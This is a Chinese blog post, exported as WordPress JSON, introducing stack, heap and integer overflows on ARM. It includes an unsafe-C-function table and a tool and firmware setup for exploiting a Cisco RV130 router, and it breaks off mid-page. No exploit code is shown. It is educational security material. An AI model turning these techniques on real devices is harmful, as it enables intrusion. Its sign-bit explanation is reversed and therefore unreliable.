{"id":1255,"date":"2022-07-12T13:11:30","date_gmt":"2022-07-12T05:11:30","guid":{"rendered":"https:\/\/www.zhiwanyuzhou.com\/?p=1255"},"modified":"2022-08-15T14:19:04","modified_gmt":"2022-08-15T06:19:04","slug":"%e6%bc%8f%e6%b4%9e%e6%8a%80%e6%9c%af%e5%88%9d%e7%aa%a5%e4%b9%8b%e6%a0%88%e6%ba%a2%e5%87%ba","status":"publish","type":"post","link":"https:\/\/www.zhiwanyuzhou.com\/index.php\/2022\/07\/12\/%e6%bc%8f%e6%b4%9e%e6%8a%80%e6%9c%af%e5%88%9d%e7%aa%a5%e4%b9%8b%e6%a0%88%e6%ba%a2%e5%87%ba\/","title":{"rendered":"\u6f0f\u6d1e\u6280\u672f\u521d\u7aa5\u4e4b\u6808\u6ea2\u51fa"},"content":{"rendered":"\n<h2>\u4e00\u3001\u6ea2\u51fa\u7b80\u4ecb<\/h2>\n\n\n\n<h3>1\u3001\u6808\u6ea2\u51fa<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"865\" height=\"340\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-9.png\" alt=\"\" class=\"wp-image-1281\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-9.png?v=1657509429 865w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-9-300x118.png?v=1657509429 300w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-9-768x302.png?v=1657509429 768w\" sizes=\"(max-width: 865px) 100vw, 865px\" \/><\/figure>\n\n\n\n<p>\u4ece\u56fe\u4e2d\u53ef\u4ee5\u770b\u5230\u5b50\u51fd\u6570\u8c03\u7528\u51fa\u73b0\u540e\uff0c\u6709\u4e09\u4e2a\u8fc7\u7a0b\uff1a<\/p>\n\n\n\n<ul><li>\u6267\u884c\u4e00\u6bb5\u7528\u4e8e\u5f53\u524d\u5b50\u51fd\u6570\u5806\u6808\u7a7a\u95f4\u7533\u8bf7\u7684Prolog\u9636\u6bb5\uff0c\u540c\u65f6\u8be5\u9636\u6bb5\u8fd8\u5c06\u4fdd\u5b58\u5728LR\u5bc4\u5b58\u5668\u4e2d\u7684\u8fd4\u56de\u5730\u5740\u538b\u5165\u4e86\u5806\u6808\uff1b<\/li><\/ul>\n\n\n\n<ul><li>\u5b8c\u6210Prolog\u9636\u6bb5\u7684\u5de5\u4f5c\u4e4b\u540e\uff0c\u5f00\u59cb\u6267\u884c\u5b50\u51fd\u6570\u7684\u5177\u4f53\u529f\u80fd\uff1b<\/li><\/ul>\n\n\n\n<ul><li>\u5b50\u51fd\u6570\u529f\u80fd\u6267\u884c\u5b8c\u6210\u4e4b\u540e\uff0c\u8fdb\u5165epilogue\u9636\u6bb5\uff0c\u8be5\u9636\u6bb5\u5c06\u8fd8\u539f\u5b50\u51fd\u6570\u8c03\u7528\u524d\u7684\u5806\u6808\u5e03\u5c40\uff0c\u4e5f\u5c31\u662f\u5c06\u6808\u9876\u6307\u9488\u548c\u6808\u5e95\u6307\u9488\u5206\u522b\u8fd8\u539f\u4e3a\u8c03\u7528\u8005\u7684\u6808\u7a7a\u95f4\u5bf9\u5e94\u7684\u6808\u9876\u548c\u6808\u5e95\u5730\u5740\u3002<\/li><\/ul>\n\n\n\n<p>ARM\u67b6\u6784\u4e0b\u7684\u7f13\u51b2\u533a\u6ea2\u51fa\u653b\u51fb\u7684\u4e3b\u8981\u76ee\u7684\u5c31\u662f\u901a\u8fc7\u4fee\u6539\u8fd4\u56de\u5730\u5740\u6765\u63a7\u5236\u94fe\u63a5\u5bc4\u5b58\u5668LR\uff0c\u8fdb\u800c\u5b9e\u73b0\u5bf9\u7a0b\u5e8f\u63a7\u5236\u6d41\u7684\u52ab\u6301\u3002\u5bf9\u4e8e\u5229\u7528\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u6267\u884c\u9690\u85cf\u51fd\u6570\u7684\u653b\u51fb\uff0c\u5176\u653b\u51fb\u76f8\u5bf9\u7b80\u5355\uff0c\u53ea\u9700\u8981\u786e\u4fdd\u8fd4\u56de\u5730\u5740\u88ab\u8986\u76d6\u4e3a\u9690\u85cf\u51fd\u6570\u7684\u5730\u5740\u5373\u53ef\u3002\u5176\u57fa\u672c\u7279\u5f81\u6709\u4e24\u4e2a\uff1a<\/p>\n\n\n\n<ul><li>\u8fd4\u56de\u5730\u5740\u88ab\u8986\u76d6\uff1b<\/li><li>\u88ab\u8986\u76d6\u540e\u7684\u8fd4\u56de\u5730\u5740\u6307\u5411\u67d0\u4e2a\u51fd\u6570\u3002<\/li><\/ul>\n\n\n\n<p>\u5e38\u89c1\u7684\u5371\u9669\u51fd\u6570\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>\u5e8f\u53f7<\/td><td>\u51fd\u6570\u540d<\/td><td>\u4e25\u91cd\u6027<\/td><td>\u89e3\u51b3\u65b9\u6848<\/td><\/tr><tr><td>1<\/td><td>gets<\/td><td>\u6700\u5371\u9669<\/td><td>\u4f7f\u7528fgets(buf, size, stdin)<\/td><\/tr><tr><td>2<\/td><td>strcpy<\/td><td>\u5f88\u5371\u9669<\/td><td>\u6539\u4e3a\u4f7f\u7528strncpy<\/td><\/tr><tr><td>3<\/td><td>strcat<\/td><td>\u5f88\u5371\u9669<\/td><td>\u6539\u4e3a\u4f7f\u7528strncat<\/td><\/tr><tr><td>4<\/td><td>sprintf<\/td><td>\u5f88\u5371\u9669<\/td><td>\u6539\u4e3a\u4f7f\u7528snprintf\uff0c\u6216\u8005\u4f7f\u7528\u7cbe\u5ea6\u8bf4\u660e\u7b26<\/td><\/tr><tr><td>5<\/td><td>scanf<\/td><td>\u5f88\u5371\u9669<\/td><td>\u4f7f\u7528\u7cbe\u5ea6\u8bf4\u660e\u7b26\uff0c\u6216\u81ea\u5df1\u89e3\u6790<\/td><\/tr><tr><td>6<\/td><td>sscanf<\/td><td>\u5f88\u5371\u9669<\/td><td>\u4f7f\u7528\u7cbe\u5ea6\u8bf4\u660e\u7b26\uff0c\u6216\u81ea\u5df1\u89e3\u6790<\/td><\/tr><tr><td>7<\/td><td>fscanf<\/td><td>\u5f88\u5371\u9669<\/td><td>\u4f7f\u7528\u7cbe\u5ea6\u8bf4\u660e\u7b26\uff0c\u6216\u81ea\u5df1\u89e3\u6790<\/td><\/tr><tr><td>8<\/td><td>vfscanf<\/td><td>\u5f88\u5371\u9669<\/td><td>\u4f7f\u7528\u7cbe\u5ea6\u8bf4\u660e\u7b26\uff0c\u6216\u81ea\u5df1\u89e3\u6790<\/td><\/tr><tr><td>9<\/td><td>vsprintf<\/td><td>\u5f88\u5371\u9669<\/td><td>\u6539\u4e3a\u4f7f\u7528vsnprintf\uff0c\u6216\u8005\u4f7f\u7528\u7cbe\u5ea6\u8bf4\u660e\u7b26<\/td><\/tr><tr><td>10<\/td><td>vscanf<\/td><td>\u5f88\u5371\u9669<\/td><td>\u4f7f\u7528\u7cbe\u5ea6\u8bf4\u660e\u7b26\uff0c\u6216\u81ea\u5df1\u89e3\u6790<\/td><\/tr><tr><td>11<\/td><td>vsscanf<\/td><td>\u5f88\u5371\u9669<\/td><td>\u4f7f\u7528\u7cbe\u5ea6\u8bf4\u660e\u7b26\uff0c\u6216\u81ea\u5df1\u89e3\u6790<\/td><\/tr><tr><td>12<\/td><td>streadd<\/td><td>\u5f88\u5371\u9669<\/td><td>\u786e\u4fdd\u5206\u914d\u7684\u76ee\u7684\u5730\u53c2\u6570\u5927\u5c0f\u662f\u6e90\u53c2\u6570\u5927\u5c0f\u7684\u56db\u500d<\/td><\/tr><tr><td>13<\/td><td>strecpy<\/td><td>\u5f88\u5371\u9669<\/td><td>\u786e\u4fdd\u5206\u914d\u7684\u76ee\u7684\u5730\u53c2\u6570\u5927\u5c0f\u662f\u6e90\u53c2\u6570\u5927\u5c0f\u7684\u56db\u500d<\/td><\/tr><tr><td>14<\/td><td>strtrns<\/td><td>\u5371\u9669<\/td><td>\u624b\u5de5\u68c0\u67e5\u6765\u67e5\u770b\u76ee\u7684\u5730\u5927\u5c0f\u662f\u5426\u81f3\u5c11\u4e0e\u6e90\u5b57\u7b26\u4e32\u76f8\u7b49<\/td><\/tr><tr><td>15<\/td><td>realpath<\/td><td>\u5371\u9669\uff08\u6216\u7a0d\u5c0f\uff0c\u53d6\u51b3\u4e8e\u5b9e\u73b0\uff09<\/td><td>\u5206\u914d\u7f13\u51b2\u533a\u5927\u5c0f\u4e3aMAXPATHLEN\uff0c\u540c\u6837\uff0c\u624b\u5de5\u68c0\u67e5\u53c2\u6570\u4ee5\u786e\u4fdd\u8f93\u5165\u53c2\u6570\u4e0d\u8d85\u8fc7MAXPATHLEN<\/td><\/tr><tr><td>16<\/td><td>syslog<\/td><td>\u5371\u9669\uff08\u6216\u7a0d\u5c0f\uff0c\u53d6\u51b3\u4e8e\u5b9e\u73b0\uff09<\/td><td>\u5728\u5c06\u5b57\u7b26\u4e32\u8f93\u5165\u4f20\u9012\u7ed9\u8be5\u51fd\u6570\u4e4b\u524d\uff0c\u5c06\u6240\u6709\u5b57\u7b26\u4e32\u8f93\u5165\u622a\u65ad\u6210\u5408\u7406\u7684\u5927\u5c0f<\/td><\/tr><tr><td>17<\/td><td>getopt<\/td><td>\u5371\u9669\uff08\u6216\u7a0d\u5c0f\uff0c\u53d6\u51b3\u4e8e\u5b9e\u73b0\uff09<\/td><td>\u5728\u5c06\u5b57\u7b26\u4e32\u8f93\u5165\u4f20\u9012\u7ed9\u8be5\u51fd\u6570\u4e4b\u524d\uff0c\u5c06\u6240\u6709\u5b57\u7b26\u4e32\u8f93\u5165\u622a\u65ad\u6210\u5408\u7406\u7684\u5927\u5c0f<\/td><\/tr><tr><td>18<\/td><td>getopt_long<\/td><td>\u5371\u9669\uff08\u6216\u7a0d\u5c0f\uff0c\u53d6\u51b3\u4e8e\u5b9e\u73b0\uff09<\/td><td>\u5728\u5c06\u5b57\u7b26\u4e32\u8f93\u5165\u4f20\u9012\u7ed9\u8be5\u51fd\u6570\u4e4b\u524d\uff0c\u5c06\u6240\u6709\u5b57\u7b26\u4e32\u8f93\u5165\u622a\u65ad\u6210\u5408\u7406\u7684\u5927\u5c0f<\/td><\/tr><tr><td>19<\/td><td>getpass<\/td><td>\u5371\u9669\uff08\u6216\u7a0d\u5c0f\uff0c\u53d6\u51b3\u4e8e\u5b9e\u73b0\uff09<\/td><td>\u5728\u5c06\u5b57\u7b26\u4e32\u8f93\u5165\u4f20\u9012\u7ed9\u8be5\u51fd\u6570\u4e4b\u524d\uff0c\u5c06\u6240\u6709\u5b57\u7b26\u4e32\u8f93\u5165\u622a\u65ad\u6210\u5408\u7406\u7684\u5927\u5c0f<\/td><\/tr><tr><td>20<\/td><td>getchar<\/td><td>\u4e2d\u7b49\u5371\u9669<\/td><td>\u5982\u679c\u5728\u5faa\u73af\u4e2d\u4f7f\u7528\u8be5\u51fd\u6570\uff0c\u786e\u4fdd\u68c0\u67e5\u7f13\u51b2\u533a\u8fb9\u754c<\/td><\/tr><tr><td>21<\/td><td>fgetc<\/td><td>\u4e2d\u7b49\u5371\u9669<\/td><td>\u5982\u679c\u5728\u5faa\u73af\u4e2d\u4f7f\u7528\u8be5\u51fd\u6570\uff0c\u786e\u4fdd\u68c0\u67e5\u7f13\u51b2\u533a\u8fb9\u754c<\/td><\/tr><tr><td>22<\/td><td>getc<\/td><td>\u4e2d\u7b49\u5371\u9669<\/td><td>\u5982\u679c\u5728\u5faa\u73af\u4e2d\u4f7f\u7528\u8be5\u51fd\u6570\uff0c\u786e\u4fdd\u68c0\u67e5\u7f13\u51b2\u533a\u8fb9\u754c<\/td><\/tr><tr><td>23<\/td><td>read<\/td><td>\u4e2d\u7b49\u5371\u9669<\/td><td>\u5982\u679c\u5728\u5faa\u73af\u4e2d\u4f7f\u7528\u8be5\u51fd\u6570\uff0c\u786e\u4fdd\u68c0\u67e5\u7f13\u51b2\u533a\u8fb9\u754c<\/td><\/tr><tr><td>24<\/td><td>bcopy<\/td><td>\u4f4e\u5371\u9669<\/td><td>\u786e\u4fdd\u7f13\u51b2\u533a\u5927\u5c0f\u4e0e\u5b83\u6240\u8bf4\u7684\u4e00\u6837\u5927<\/td><\/tr><tr><td>25<\/td><td>fgets<\/td><td>\u4f4e\u5371\u9669<\/td><td>\u786e\u4fdd\u7f13\u51b2\u533a\u5927\u5c0f\u4e0e\u5b83\u6240\u8bf4\u7684\u4e00\u6837\u5927<\/td><\/tr><tr><td>26<\/td><td>memcpy<\/td><td>\u4f4e\u5371\u9669<\/td><td>\u786e\u4fdd\u7f13\u51b2\u533a\u5927\u5c0f\u4e0e\u5b83\u6240\u8bf4\u7684\u4e00\u6837\u5927<\/td><\/tr><tr><td>27<\/td><td>snprintf<\/td><td>\u4f4e\u5371\u9669<\/td><td>\u786e\u4fdd\u7f13\u51b2\u533a\u5927\u5c0f\u4e0e\u5b83\u6240\u8bf4\u7684\u4e00\u6837\u5927<\/td><\/tr><tr><td>28<\/td><td>strccpy<\/td><td>\u4f4e\u5371\u9669<\/td><td>\u786e\u4fdd\u7f13\u51b2\u533a\u5927\u5c0f\u4e0e\u5b83\u6240\u8bf4\u7684\u4e00\u6837\u5927<\/td><\/tr><tr><td>29<\/td><td>strcadd<\/td><td>\u4f4e\u5371\u9669<\/td><td>\u786e\u4fdd\u7f13\u51b2\u533a\u5927\u5c0f\u4e0e\u5b83\u6240\u8bf4\u7684\u4e00\u6837\u5927<\/td><\/tr><tr><td>30<\/td><td>strncpy<\/td><td>\u4f4e\u5371\u9669<\/td><td>\u786e\u4fdd\u7f13\u51b2\u533a\u5927\u5c0f\u4e0e\u5b83\u6240\u8bf4\u7684\u4e00\u6837\u5927<\/td><\/tr><tr><td>31<\/td><td>vsnprintf<\/td><td>\u4f4e\u5371\u9669<\/td><td>\u786e\u4fdd\u7f13\u51b2\u533a\u5927\u5c0f\u4e0e\u5b83\u6240\u8bf4\u7684\u4e00\u6837\u5927<\/td><\/tr><tr><td>32<\/td><td>strlcpy<\/td><td>\u4f4e\u5371\u9669<\/td><td>\u786e\u4fdd\u7f13\u51b2\u533a\u5927\u5c0f\u4e0e\u5b83\u6240\u8bf4\u7684\u4e00\u6837\u5927<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3>2\u3001\u5806\u6ea2\u51fa<\/h3>\n\n\n\n<p>\u5806\u662f\u7528\u4e8e\u5b58\u653e\u9664\u4e86\u6808\u91cc\u7684\u4e1c\u897f\u4e4b\u5916\u6240\u6709\u5176\u4ed6\u4e1c\u897f\u7684\u5185\u5b58\u533a\u57df\uff0c\u6709\u52a8\u6001\u5185\u5b58\u5206\u914d\u5668\u8d1f\u8d23\u7ef4\u62a4\u3002\u5206\u914d\u5668\u5c06\u5806\u89c6\u4e3a\u4e00\u7ec4\u4e0d\u540c\u5927\u5c0f\u7684\u5757\uff08block\uff09\u7684\u96c6\u5408\u6765\u7ef4\u62a4\uff0c\u6bcf\u4e2a\u5757\u5c31\u662f\u4e00\u4e2a\u8fde\u7eed\u7684\u865a\u62df\u5185\u5b58\u5668\u7247\uff08chunk\uff09\u3002\u5f53\u4f7f\u7528 malloc() \u548c free() \u65f6\u5c31\u662f\u5728\u64cd\u4f5c\u5806\u4e2d\u7684\u5185\u5b58\u3002\u5bf9\u4e8e\u5806\u6765\u8bf4\uff0c\u91ca\u653e\u5de5\u4f5c\u7531\u7a0b\u5e8f\u5458\u63a7\u5236\uff0c\u5bb9\u6613\u4ea7\u751f\u5185\u5b58\u6cc4\u9732\u3002<\/p>\n\n\n\n<p><strong>\u5806\u662f\u5411\u9ad8\u5730\u5740\u6269\u5c55\u7684\u6570\u636e\u7ed3\u6784\uff0c\u662f\u4e0d\u8fde\u7eed\u7684\u5185\u5b58\u533a\u57df<\/strong>\u3002\u8fd9\u662f\u7531\u4e8e\u7cfb\u7edf\u662f\u7528\u94fe\u8868\u6765\u5b58\u50a8\u7684\u7a7a\u95f2\u5185\u5b58\u5730\u5740\u7684\uff0c\u800c\u94fe\u8868\u7684\u904d\u5386\u65b9\u5411\u662f\u7531\u4f4e\u5730\u5740\u5411\u9ad8\u5730\u5740\u3002\u5806\u7684\u5927\u5c0f\u53d7\u9650\u4e8e\u8ba1\u7b97\u673a\u7cfb\u7edf\u4e2d\u6709\u6548\u7684\u865a\u62df\u5185\u5b58\u3002\u7531\u6b64\u53ef\u89c1\uff0c\u5806\u83b7\u5f97\u7684\u7a7a\u95f4\u6bd4\u8f83\u7075\u6d3b\uff0c\u4e5f\u6bd4\u8f83\u5927\u3002<\/p>\n\n\n\n<p>\u5982\u679c\u6bcf\u6b21\u7533\u8bf7\u5185\u5b58\u65f6\u90fd\u76f4\u63a5\u4f7f\u7528\u7cfb\u7edf\u8c03\u7528\uff0c\u4f1a\u4e25\u91cd\u5f71\u54cd\u7a0b\u5e8f\u7684\u6027\u80fd\u3002\u901a\u5e38\u60c5\u51b5\u4e0b\uff0c\u8fd0\u884c\u5e93\u5148\u5411\u64cd\u4f5c\u7cfb\u7edf \u201c\u6279\u53d1\u201d \u4e00\u5757\u8f83\u5927\u7684\u5806\u7a7a\u95f4\uff0c\u7136\u540e \u201c\u96f6\u552e\u201d \u7ed9\u7a0b\u5e8f\u4f7f\u7528\u3002\u5f53\u5168\u90e8 \u201c\u552e\u5b8c\u201d \u4e4b\u540e\u6216\u8005\u5269\u4f59\u7a7a\u95f4\u4e0d\u80fd\u6ee1\u8db3\u7a0b\u5e8f\u7684\u9700\u6c42\u65f6\uff0c\u518d\u6839\u636e\u60c5\u51b5\u5411\u64cd\u4f5c\u7cfb\u7edf \u201c\u8fdb\u8d27\u201d\u3002<\/p>\n\n\n\n<p>\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5728\u5185\u5b58\u5206\u914d\u4e0e\u4f7f\u7528\u7684\u8fc7\u7a0b\u4e2d\uff0cLinux \u6709\u8fd9\u6837\u7684\u4e00\u4e2a\u57fa\u672c\u5185\u5b58\u7ba1\u7406\u601d\u60f3\uff0c\u53ea\u6709\u5f53\u771f\u6b63\u8bbf\u95ee\u4e00\u4e2a\u5730\u5740\u7684\u65f6\u5019\uff0c\u7cfb\u7edf\u624d\u4f1a\u5efa\u7acb\u865a\u62df\u9875\u9762\u4e0e\u7269\u7406\u9875\u9762\u7684\u6620\u5c04\u5173\u7cfb\u3002 \u6240\u4ee5\u867d\u7136\u64cd\u4f5c\u7cfb\u7edf\u5df2\u7ecf\u7ed9\u7a0b\u5e8f\u5206\u914d\u4e86\u5f88\u5927\u7684\u4e00\u5757\u5185\u5b58\uff0c\u4f46\u662f\u8fd9\u5757\u5185\u5b58\u5176\u5b9e\u53ea\u662f\u865a\u62df\u5185\u5b58\u3002\u53ea\u6709\u5f53\u7528\u6237\u4f7f\u7528\u5230\u76f8\u5e94\u7684\u5185\u5b58\u65f6\uff0c\u7cfb\u7edf\u624d\u4f1a\u771f\u6b63\u5206\u914d\u7269\u7406\u9875\u9762\u7ed9\u7528\u6237\u4f7f\u7528\u3002<\/p>\n\n\n\n<p>\u5806\u6ea2\u51fa\u662f\u6307\u7a0b\u5e8f\u5411\u67d0\u4e2a\u5806\u5757\u4e2d\u5199\u5165\u7684\u5b57\u8282\u6570\u8d85\u8fc7\u4e86\u5806\u5757\u672c\u8eab\u53ef\u4f7f\u7528\u7684\u5b57\u8282\u6570\uff08<strong>\u4e4b\u6240\u4ee5\u662f\u53ef\u4f7f\u7528\u800c\u4e0d\u662f\u7528\u6237\u7533\u8bf7\u7684\u5b57\u8282\u6570\uff0c\u662f\u56e0\u4e3a\u5806\u7ba1\u7406\u5668\u4f1a\u5bf9\u7528\u6237\u6240\u7533\u8bf7\u7684\u5b57\u8282\u6570\u8fdb\u884c\u8c03\u6574\uff0c\u8fd9\u4e5f\u5bfc\u81f4\u53ef\u5229\u7528\u7684\u5b57\u8282\u6570\u90fd\u4e0d\u5c0f\u4e8e\u7528\u6237\u7533\u8bf7\u7684\u5b57\u8282\u6570<\/strong>\uff09\uff0c\u56e0\u800c\u5bfc\u81f4\u4e86\u6570\u636e\u6ea2\u51fa\uff0c\u5e76\u8986\u76d6\u5230<strong>\u7269\u7406\u76f8\u90bb\u7684\u9ad8\u5730\u5740<\/strong>\u7684\u4e0b\u4e00\u4e2a\u5806\u5757\u3002<\/p>\n\n\n\n<p>\u4e0d\u96be\u53d1\u73b0\uff0c\u5806\u6ea2\u51fa\u6f0f\u6d1e\u53d1\u751f\u7684\u57fa\u672c\u524d\u63d0\u662f<\/p>\n\n\n\n<ul><li>\u7a0b\u5e8f\u5411\u5806\u4e0a\u5199\u5165\u6570\u636e\u3002<\/li><li>\u5199\u5165\u7684\u6570\u636e\u5927\u5c0f\u6ca1\u6709\u88ab\u826f\u597d\u5730\u63a7\u5236\u3002<\/li><\/ul>\n\n\n\n<p>\u5bf9\u4e8e\u653b\u51fb\u8005\u6765\u8bf4\uff0c\u5806\u6ea2\u51fa\u6f0f\u6d1e\u8f7b\u5219\u53ef\u4ee5\u4f7f\u5f97\u7a0b\u5e8f\u5d29\u6e83\uff0c\u91cd\u5219\u53ef\u4ee5\u4f7f\u5f97\u653b\u51fb\u8005\u63a7\u5236\u7a0b\u5e8f\u6267\u884c\u6d41\u7a0b\u3002<\/p>\n\n\n\n<p>\u5806\u6ea2\u51fa\u662f\u4e00\u79cd\u7279\u5b9a\u7684\u7f13\u51b2\u533a\u6ea2\u51fa\uff08\u8fd8\u6709\u6808\u6ea2\u51fa\uff0c bss \u6bb5\u6ea2\u51fa\u7b49\uff09\u3002\u4f46\u662f\u5176\u4e0e\u6808\u6ea2\u51fa\u6240\u4e0d\u540c\u7684\u662f\uff0c\u5806\u4e0a\u5e76\u4e0d\u5b58\u5728\u8fd4\u56de\u5730\u5740\u7b49\u53ef\u4ee5\u8ba9\u653b\u51fb\u8005\u76f4\u63a5\u63a7\u5236\u6267\u884c\u6d41\u7a0b\u7684\u6570\u636e\uff0c\u56e0\u6b64\u6211\u4eec\u4e00\u822c\u65e0\u6cd5\u76f4\u63a5\u901a\u8fc7\u5806\u6ea2\u51fa\u6765\u63a7\u5236 EIP \u3002\u4e00\u822c\u6765\u8bf4\uff0c\u6211\u4eec\u5229\u7528\u5806\u6ea2\u51fa\u7684\u7b56\u7565\u662f<\/p>\n\n\n\n<ol><li>\u8986\u76d6\u4e0e\u5176<strong>\u7269\u7406\u76f8\u90bb\u7684\u4e0b\u4e00\u4e2a chunk<\/strong>&nbsp;\u7684\u5185\u5bb9\u3002<ul><li>prev_size<\/li><li>size\uff0c\u4e3b\u8981\u6709\u4e09\u4e2a\u6bd4\u7279\u4f4d\uff0c\u4ee5\u53ca\u8be5\u5806\u5757\u771f\u6b63\u7684\u5927\u5c0f\u3002<ul><li>NON_MAIN_ARENA<\/li><li>IS_MAPPED<\/li><li>PREV_INUSE<\/li><li>the True chunk size<\/li><\/ul><\/li><li>chunk content\uff0c\u4ece\u800c\u6539\u53d8\u7a0b\u5e8f\u56fa\u6709\u7684\u6267\u884c\u6d41\u3002<\/li><\/ul><\/li><li>\u5229\u7528\u5806\u4e2d\u7684\u673a\u5236\uff08\u5982 unlink \u7b49 \uff09\u6765\u5b9e\u73b0\u4efb\u610f\u5730\u5740\u5199\u5165\uff08 Write-Anything-Anywhere\uff09\u6216\u63a7\u5236\u5806\u5757\u4e2d\u7684\u5185\u5bb9\u7b49\u6548\u679c\uff0c\u4ece\u800c\u6765\u63a7\u5236\u7a0b\u5e8f\u7684\u6267\u884c\u6d41\u3002<\/li><\/ol>\n\n\n\n<h3>3\u3001\u6574\u6570\u6ea2\u51fa<\/h3>\n\n\n\n<p>\u6574\u6570\u5206\u4e3a\u6709\u7b26\u53f7\u548c\u65e0\u7b26\u53f7\u4e24\u79cd\u7c7b\u578b\uff0c\u6709\u7b26\u53f7\u6570\u4ee5\u6700\u9ad8\u4f4d\u4f5c\u4e3a\u5176\u7b26\u53f7\u4f4d\uff0c\u5373\u6b63\u6574\u6570\u6700\u9ad8\u4f4d\u4e3a1\uff0c\u8d1f\u6570\u4e3a0\uff0c\u65e0\u7b26\u53f7\u6570\u53d6\u503c\u8303\u56f4\u4e3a\u975e\u8d1f\u6570\uff0c\u5e38\u89c1\u5404\u7c7b\u578b\u5360\u7528\u5b57\u8282\u6570\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>\u5e8f\u53f7<\/td><td>\u7c7b\u578b<\/td><td>\u5b57\u8282<\/td><td>\u8303\u56f4<\/td><\/tr><tr><td>1<\/td><td>char<\/td><td>1<\/td><td>-128~127\uff08-0x80~0x7f\uff09<\/td><\/tr><tr><td>2<\/td><td>unsigned char<\/td><td>1<\/td><td>0~255\uff080~0xff\uff09<\/td><\/tr><tr><td>3<\/td><td>short int<\/td><td>2<\/td><td>0~32767\uff080~0x7fff\uff09<br>-32768~-1\uff080x8000~0xffff\uff09<\/td><\/tr><tr><td>4<\/td><td>unsigned short int<\/td><td>2<\/td><td>0~65535\uff080-0xffff\uff09<\/td><\/tr><tr><td>5<\/td><td>int<\/td><td>4<\/td><td>0~2147483647\uff080-0x7fffffff\uff09<br>-2147483648~-1\uff080x80000000~0xffffffff\uff09<\/td><\/tr><tr><td>6<\/td><td>unsigned int<\/td><td>4<\/td><td>0~4294967295\uff080-0xffffffff\uff09<\/td><\/tr><tr><td>7<\/td><td>long int<\/td><td>8<\/td><td>0~9223372036854775807\uff080-0x7fffffffffffffff\uff09<br>-9223372036854775808~-1\uff080x8000000000000000-0xffffffffffffffff\uff09<\/td><\/tr><tr><td>8<\/td><td>unsigned long int<\/td><td>8<\/td><td>0~18446744073709551615\uff080-0xffffffffffffffff\uff09<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u5f53\u7a0b\u5e8f\u4e2d\u7684\u6570\u636e\u8d85\u8fc7\u5176\u6570\u636e\u7c7b\u578b\u7684\u8303\u56f4\uff0c\u5219\u4f1a\u9020\u6210\u6ea2\u51fa\uff0c\u6574\u6570\u7c7b\u578b\u7684\u6ea2\u51fa\u88ab\u79f0\u4e3a\u6574\u6570\u6ea2\u51fa\u3002<\/p>\n\n\n\n<h2>\u4e8c\u3001\u73af\u5883\u642d\u5efa<\/h2>\n\n\n\n<h3>1\u3001\u5de5\u5177\u51c6\u5907<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>\u4e00\u3001Windows\u7cfb\u7edf<br>1\u3001010Editor<br>2\u3001Ghidra\u6216IDA\u53cd\u7f16\u8bd1\u5668<br><br>\u4e8c\u3001Linux\u7cfb\u7edf\uff08Ubuntu 20.04\uff09      <br>1\u3001EMUX\u6a21\u62df\u5668\uff0c\u5b89\u88c5\u65b9\u6cd5\u89c1\u300a<a href=\"https:\/\/www.zhiwanyuzhou.com\/index.php\/2022\/01\/21\/emux%e5%9b%ba%e4%bb%b6%e6%a8%a1%e6%8b%9f%e7%b3%bb%e7%bb%9f%e4%bd%bf%e7%94%a8\/\">EMUX\u56fa\u4ef6\u6a21\u62df\u7cfb\u7edf\u4f7f\u7528\uff081\uff09<\/a>\u300b<br>2\u3001<a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/ExploitSori\/arm_gdb\/blob\/main\/gdb7.10\" data-type=\"URL\" data-id=\"https:\/\/github.com\/ExploitSori\/arm_gdb\/blob\/main\/gdb7.10\" target=\"_blank\">gdb for arm<\/a>\uff0c\u8c03\u8bd5\u5668<br>3\u3001<a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/JonathanSalwan\/ROPgadget\" data-type=\"URL\" data-id=\"https:\/\/github.com\/JonathanSalwan\/ROPgadget\" target=\"_blank\">ROPgadget<\/a>\uff0cROP\u5bfb\u627e\u5de5\u5177<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3>2\u3001\u8bbe\u5907\u6a21\u62df<\/h3>\n\n\n\n<p>\u8def\u7531\u5668\u578b\u53f7RV130\uff0c\u56fa\u4ef6\u7248\u672c1.0.0.21\uff0c\u901a\u8fc7\u672c\u7ad9\u7684<a href=\"https:\/\/zhiwanyuzhou.com\/multiple_analyse\/firmware\/\" data-type=\"URL\" data-id=\"https:\/\/zhiwanyuzhou.com\/multiple_analyse\/firmware\/\" target=\"_blank\" rel=\"noreferrer noopener\">\u56fa\u4ef6\u5206\u6790\u5de5\u5177<\/a>\u53ef\u4ee5\u89e3\u5305\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"769\" src=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-1024x769.png?v=1657503910\" alt=\"\" class=\"wp-image-1256\" srcset=\"https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-1024x769.png?v=1657503910 1024w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-300x225.png?v=1657503910 300w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image-768x576.png?v=1657503910 768w, https:\/\/www.zhiwanyuzhou.com\/wp-content\/uploads\/2022\/07\/image.png?v=1657503910 1159w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u89e3\u538b\u540e\u5c06\u76ee\u5f55\u540d\u79f0\u6539\u4e3aRV130X_FW_1.0.0.21<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"599\" 